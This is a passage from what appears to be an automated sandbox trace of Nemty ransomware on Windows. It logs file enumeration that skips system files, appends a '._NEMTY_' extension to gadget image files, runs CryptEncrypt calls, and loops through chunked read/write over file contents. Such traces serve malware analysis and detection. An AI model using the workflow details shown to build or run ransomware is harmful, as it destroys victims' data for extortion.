lpOverlapped=0x0) returned 0 [0115.010] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.010] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.019] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.020] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.020] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.020] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.029] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.029] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.029] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.029] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.038] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.038] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.039] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.039] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.048] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.048] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.048] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.048] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.058] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.058] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.058] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.058] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.068] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.068] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.068] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.068] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.074] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.074] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.074] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.074] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.080] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.080] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.080] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.080] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340330, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.080] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0115.080] CloseHandle (hObject=0xffffffff) returned 0 [0115.081] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a0 [0115.081] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0115.081] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0115.081] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0115.081] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0115.081] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0115.081] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0115.081] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344090 [0115.081] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0115.081] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0115.081] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\cronometer_s.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\cronometer_s.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\cronometer_s.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\cronometer_s.png._nemty_kgobjgd_")) returned 0 [0115.081] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0115.081] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a0 | out: hHeap=0x4f90000) returned 1 [0115.081] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0115.081] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0115.081] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0115.081] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0115.081] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0115.081] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340288 | out: hHeap=0x4f90000) returned 1 [0115.081] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0115.081] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0115.081] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828d4d58, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x828d4d58, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2861e485, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7454, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="cronometer_settings.png", cAlternateFileName="")) returned 1 [0115.081] lstrcmpiW (lpString1="cronometer_settings.png", lpString2=".") returned 1 [0115.081] lstrcmpiW (lpString1="cronometer_settings.png", lpString2="..") returned 1 [0115.081] lstrcmpiW (lpString1="cronometer_settings.png", lpString2="...") returned 1 [0115.081] lstrcmpiW (lpString1="cronometer_settings.png", lpString2="windows") returned -1 [0115.081] lstrcmpiW (lpString1="cronometer_settings.png", lpString2="$RECYCLE.BIN") returned 1 [0115.081] lstrcmpiW (lpString1="cronometer_settings.png", lpString2="rsa") returned -1 [0115.081] lstrcmpiW (lpString1="cronometer_settings.png", lpString2="NTDETECT.COM") returned -1 [0115.081] lstrcmpiW (lpString1="cronometer_settings.png", lpString2="ntldr") returned -1 [0115.081] lstrcmpiW (lpString1="cronometer_settings.png", lpString2="MSDOS.SYS") returned -1 [0115.082] lstrcmpiW (lpString1="cronometer_settings.png", lpString2="IO.SYS") returned -1 [0115.082] lstrcmpiW (lpString1="cronometer_settings.png", lpString2="boot.ini") returned 1 [0115.082] lstrcmpiW (lpString1="cronometer_settings.png", lpString2="boot.ini") returned 1 [0115.082] lstrcmpiW (lpString1="cronometer_settings.png", lpString2="AUTOEXEC.BAT") returned 1 [0115.082] lstrcmpiW (lpString1="cronometer_settings.png", lpString2="ntuser.dat") returned -1 [0115.082] lstrcmpiW (lpString1="cronometer_settings.png", lpString2="desktop.ini") returned -1 [0115.082] lstrcmpiW (lpString1="cronometer_settings.png", lpString2="CONFIG.SYS") returned 1 [0115.082] lstrcmpiW (lpString1="cronometer_settings.png", lpString2="RECYCLER") returned -1 [0115.082] lstrcmpiW (lpString1="cronometer_settings.png", lpString2="BOOTSECT.BAK") returned 1 [0115.082] lstrcmpiW (lpString1="cronometer_settings.png", lpString2="bootmgr") returned 1 [0115.082] lstrcmpiW (lpString1="cronometer_settings.png", lpString2="programdata") returned -1 [0115.082] lstrcmpiW (lpString1="cronometer_settings.png", lpString2="appdata") returned 1 [0115.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0115.082] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cronometer_settings.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0115.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0115.082] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cronometer_settings.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cronometer_settings.png", lpUsedDefaultChar=0x0) returned 23 [0115.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0115.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0115.082] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cronometer_settings.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0115.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0115.082] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cronometer_settings.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cronometer_settings.png", lpUsedDefaultChar=0x0) returned 23 [0115.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0115.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0115.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0115.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0115.082] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cronometer_settings.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0115.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0115.082] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cronometer_settings.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cronometer_settings.png", lpUsedDefaultChar=0x0) returned 23 [0115.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0115.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0115.082] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cronometer_settings.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0115.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0115.082] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cronometer_settings.png", cchWideChar=23, lpMultiByteStr=0x4f9ed58, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cronometer_settings.png", lpUsedDefaultChar=0x0) returned 23 [0115.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0115.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340288 [0115.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0115.083] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340340 [0115.083] Sleep (dwMilliseconds=0x5) [0115.094] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf83fa570, dwHighDateTime=0x1d561e7)) [0115.094] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf83fa570, dwHighDateTime=0x1d561e7)) [0115.094] GetLastError () returned 0x5 [0115.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0115.095] GetLastError () returned 0x5 [0115.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0115.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0115.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0115.095] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0115.095] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0115.095] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0115.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63403f8 [0115.095] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63403f8, pcchString=0x653e91c | out: pszString="X37e+Oey3ArS3+OoSgtqJ8ZwhdEEVTIu4Bs4swN9VpwLJIdCMe32A+U5y5hUmQxf\r\nEy4yh2ukSAF8x/LLI//FEcm42hh484Vy1ZQ0alHMR9h5GVhqDqWalA1yE134CeyF\r\nVb8eue3xaewfrADI2Qj6NC1pA/z+cjmEU7RE2erGMZ4NQRI9WZgjF8jzZLCSNzAo\r\nmq7nAzJRBri3b1YkEzPAVyTwn05Q4VzLgNhVEx6gepBc08Fdxi2lQQ37qa1kVeFC\r\nREbRY7TxYj9u7huIiNyP7R8lIHNw9L3sIXMfme2RftOJEpyY36rMC3DCvqvugogn\r\nPmYeoX33MhMAJQQ04HM9MA==\r\n", pcchString=0x653e91c) returned 1 [0115.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0115.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f8 | out: hHeap=0x4f90000) returned 1 [0115.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0115.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0115.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63403f8 [0115.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0115.095] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\cronometer_settings.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\cronometer_settings.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0115.095] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0115.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0115.095] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.095] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.105] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.105] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.105] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.105] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.114] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.114] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.114] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.114] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.123] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.123] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.124] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.124] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.133] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.133] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.133] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.133] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.142] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.142] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.142] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.142] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.152] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.152] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.152] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.152] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.162] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.162] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) 